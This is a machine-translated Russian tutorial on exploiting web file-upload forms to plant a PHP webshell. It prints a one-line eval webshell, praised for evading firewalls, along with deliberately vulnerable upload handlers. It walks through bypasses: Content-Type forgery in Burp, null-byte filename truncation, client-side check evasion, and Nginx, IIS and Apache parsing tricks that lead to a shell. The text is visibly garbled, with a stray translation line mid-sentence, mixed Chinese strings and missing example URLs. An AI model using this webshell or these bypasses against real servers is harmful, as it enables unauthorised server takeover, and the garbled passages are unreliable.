Мист Уайтхэт: обучение по теме «Уязвимости». Часть, посвящённая загрузке файлов
Преподаватель: gh0stkey (https://www.zhihu.com/people/gh0stkey/answers)
Редактор: Летающий дракон (https://github.com/)
Лицензия: CC BY-NC-SA 4.0 (http://creativecommons.org/licenses/by-nc-sa/4.0)
Сначала рассмотрим процесс загрузки файлов.
Здесь браузер сохраняет файл на сервере через страницу загрузки. Обычно такие страницы имеют ограничения (например, разрешены только форматы jpg/gif/png или установлен лимит на размер файла).
Если страница загрузки ограничивает файлы, это может привести к неудаче в пентесте. Но действительно ли всё потеряно? Позже мы обсудим множество методов, и хотя мы не можем взломать код напрямую, мы можем использовать эти методы для обхода ограничений.
Существует два основных типа страниц загрузки: одни позволяют загружать файлы любого формата без ограничений, а другие ограничивают тип контента, хотя их можно обойти.
Цель использования уязвимостей при загрузке файлов — получить WebShell, то есть определённый уровень доступа к серверу. Одна строка кода — это <?php @eval($_POST['a']) ?>
, где имя в массиве $_POST обычно называют паролем, который можно изменить по своему усмотрению. Если на сервере есть скрипт с этим кодом, мы сможем получить доступ к нему и выполнить нужный нам код.
Одна строка имеет много преимуществ: во-первых, по сравнению с полноценным бэкдором, она менее заметна и её сложнее обнаружить брандмауэру. Во-вторых, даже если её обнаружат, можно легко использовать динамические свойства PHP для запутывания и изменения кода.
Обычно мы используем инструмент «Нож» (Cutter) для подключения и управления WebShell; подробные инструкции см. в разделе «Практика».
Рассмотрим этот фрагмент кода:
<form action="" method="POST" ENCTYPE="multipart/form-data">
点这里上传文件:
<input type="file" name="userfile">
<input type="submit" value="提交">
</form>
<?php
if(!isset($_FILES['userfile']))
exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
echo '上传成功!';
else
echo '上传失败!';
Это форма загрузки файла, в которой мы видим атрибут enctype, добавленный из-за различий в формате загрузки по сравнению с предыдущими формами. Без этого атрибута форма не будет распознана.
Затем проверяется, был ли загружен файл; если нет, выполнение программы завершается. После этого выводится информация о файле, что облегчает отладку. Затем файл сохраняется с именем, соответствующим его исходному имени, в каталог upfile/. В конце выводится сообщение об успешном завершении или ошибке.
Сохранив этот код как upfile.php, мы сначала обращаемся к нему и пытаемся загрузить файл. Мы помещаем одну строку кода <?php @eval($_POST['a']) ?>
в файл 1.php и загружаем его на сервер.
Мы видим, что загрузка прошла успешно.
Можно увидеть информацию о загруженном файле, включая:
Далее мы пытаемся напрямую обратиться к загруженному файлу и обнаруживаем, что доступ разрешён.
Теперь мы можем подключиться с помощью «Ножа».
Соединение успешно установлено, и мы успешно получаем оболочку.
Если содержимое upfile.php изменится следующим образом:
<form action="" method="POST" enctype="multipart/form-data">
点这里上传文件:
<input type="file" name="userfile">
<input type="submit" value="提交">
</form>
<?php
if(!isset($_FILES['userfile']))
exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
if(@$_FILES['userfile']['type'] != "image/gif"){
echo "对不起,我们只允许上传GIF格式的图片!!";
exit;
}
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
echo "上传成功!";
else
echo "上传失败!";
В этом коде добавлено следующее: он проверяет тип файла и, если это gif, пропускает его, иначе блокирует. Согласно кодировке multipart, тип можно изменить после генерации в браузере. Мы можем использовать Burp для перехвата и модификации этого значения.
Сначала мы открываем Burp, настраиваем прокси, обращаемся к upfile.php. Затем включаем режим перехвата и загружаем файл:
После перехвата мы находим Content-Type, который оказывается application/oct-stream. Мы меняем его на image/gif и отправляем дальше (возможно, потребуется несколько попыток, как в моём случае).
Загрузка прошла успешно, и загруженный файл появился в каталоге загрузки.
Сейчас мы изменим upfile.php следующим образом:
<form action="" method="POST" enctype="multipart/form-data">
点这里上传文件:
<input type="file" name="userfile">
<input type="submit" value="提交">
</form>
<?php
function extname($s) {
$p = strrpos($s, '.');
if($p === false)
return '';
else
return substr($s, $p + 1);
}
if(!isset($_FILES['userfile']))
exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
if(extname(@$_FILES['userfile']['name']) != 'gif'){
echo "对不起,我们只允许上传GIF формат的图片!!";
exit;
}
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
echo "上传成功!";
else
echo "上传失败!";
Ранее проверка типа файла была заменена проверкой расширения. Как же обойти это ограничение? На самом деле многие серверы могут использовать 00 Перевод текста на русский язык:
Обход путём усечения. Принцип работы
Операционная система не допускает наличия пустых символов (‘\0’) в файле, поэтому при сохранении файла происходит усечение, и в качестве имени файла сохраняется только то, что было перед пустым символом. Однако в серверной программе можно обрабатывать пустые символы. Например, если мы изменим имя файла на 1.php\0.jpg, то в программе его расширение будет .jpg, но после сохранения имя файла будет 1.php, что позволит обойти защиту.
Фактическая работа с Burp очень проста. Мы нажимаем Intercept is on, отключаем режим перехвата, затем после отправки файла нажимаем Proxy:
Затем мы щёлкаем правой кнопкой мыши по этому запросу и выбираем Send to Repeater:
Мы можем найти наш запрос в Repeater.
Добавляем .gif после 1.php и нажимаем на hex:
Область, выделенная мышью, представляет собой .gif, а первый символ — это шестнадцатеричное значение 2e. Мы щёлкаем по нему правой кнопкой мыши.
Выбираем insert byte, и перед 2e появится 00.
Таким образом, наше требование выполнено, и мы можем нажать go для отправки запроса. Этот приём не работает со всеми серверами, но стоит попробовать.
Проверка на стороне клиента
Если upfile.php выглядит так:
<form action="" method="POST" enctype="multipart/form-data" name="fileform">
Точка здесь для загрузки файла:
<input type="file" name="userfile">
<input type="submit" value="Отправить">
</form>
<script>
function checkFile(e) {
var file = document.forms.fileform.userfile.value;
if(!file.endsWith('.gif')) {
alert('Извините, мы разрешаем загружать только изображения в формате GIF!!');
e.preventDefault();
}
}
document.addEventListener('DOMContentLoaded', function() {
document.forms.fileform.onsubmit = checkFile;
});
</script>
<?php
function extname($s) {
$p = strrpos($s, '.');
if($p === false)
return '';
else
return substr($s, $p + 1);
}
if(!isset($_FILES['userfile']))
exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
echo "Загрузка прошла успешно!";
else
echo "Ошибка загрузки!";
Можно увидеть, что код проверки переместился на клиентскую сторону. Как упоминалось ранее, всё на клиентской стороне небезопасно, и это можно обойти. Нам нужно просто сначала загрузить нормальное изображение, использовать Burp для захвата пакета запроса, а затем действовать так же, как и с загрузкой любого другого файла.
Здесь следует отметить, что если вы видите проверку файлов на клиенте, программист, скорее всего, не добавил проверку на сервере из-за лени. Это явный признак уязвимости.
Уязвимость Nginx
Если сервер использует Nginx, мы можем напрямую загрузить изображение и использовать уязвимость для получения оболочки. Причина уязвимости заключается в том, что некоторые версии программы Nginx сами по себе уязвимы и могут анализировать и выполнять файлы, отличные от скриптов.
Предположим, на уязвимом сайте есть изображение с URL:
При обычном доступе Nginx рассматривает его как нескриптовый файл и передаёт клиенту. Но если мы попробуем получить доступ к:
Он будет рассматривать logo.jpg как PHP-файл и выполнит его. Или:
Также приведёт к выполнению изображения, это уязвимость, обнаруженная в июле.
Чтобы использовать эту уязвимость, мы можем выбрать любое изображение и вставить в него одну строку:
После загрузки мы подтверждаем успешность загрузки, посетив URL изображения.
Затем используем эту уязвимость для создания URL и обнаруживаем, что он также может быть успешно доступен и позволяет нам получить оболочку.
Уязвимость IIS
В IIS 5.x/6.0 существует две уязвимости анализа: первая — анализ каталогов:
/a.asp/b.jpg
Где a.asp — каталог, b.jpg — существующий файл, тогда b.jpg будет рассматриваться как asp-файл для выполнения. Для этой уязвимости нам нужно создать каталог.
Вторая — анализ файлов, также известный как разделение точкой:
a.asp;.jpg
Расширение файла при загрузке — .jpg, но после загрузки IIS будет рассматривать его как asp-файл.
Кроме того, в IIS исполняемые файлы имеют расширения, кроме asp, такие как asa, cdx и cer. Многие веб-сайты часто фильтруют не полностью, и на это следует обратить внимание!
Уязвимость Apache
Уязвимости Apache интересны тем, что они анализируют расширения имён файлов справа налево. Если они сталкиваются с неизвестным расширением, они продолжают анализ. Например, мы загружаем a.php.owf.rar, он анализирует расширения в порядке rar owf php, но он не распознаёт два последних, поэтому он может анализировать только php, но в программе расширение файла всегда равно rar.
Ключ в том, что если Apache не распознает какое-либо расширение, но программа не фильтрует его (например, rar), мы можем изменить 1.php на 1.php.rar и загрузить его, а затем напрямую получить к нему доступ. Поэтому нам нужно сравнить разрешённые расширения в программе и неизвестные расширения Apache, чтобы попробовать одно за другим. Новые расширения будут появляться всё больше и больше, программа должна их пропустить из-за своих потребностей, но пока Apache не изменит свои правила анализа, эта уязвимость будет продолжать работать.
Примечание: В тексте перевода могут быть неточности или ошибки.
Вы можете оставить комментарий после Вход в систему
Неприемлемый контент может быть отображен здесь и не будет показан на странице. Вы можете проверить и изменить его с помощью соответствующей функции редактирования.
Если вы подтверждаете, что содержание не содержит непристойной лексики/перенаправления на рекламу/насилия/вульгарной порнографии/нарушений/пиратства/ложного/незначительного или незаконного контента, связанного с национальными законами и предписаниями, вы можете нажать «Отправить» для подачи апелляции, и мы обработаем ее как можно скорее.
Опубликовать ( 0 )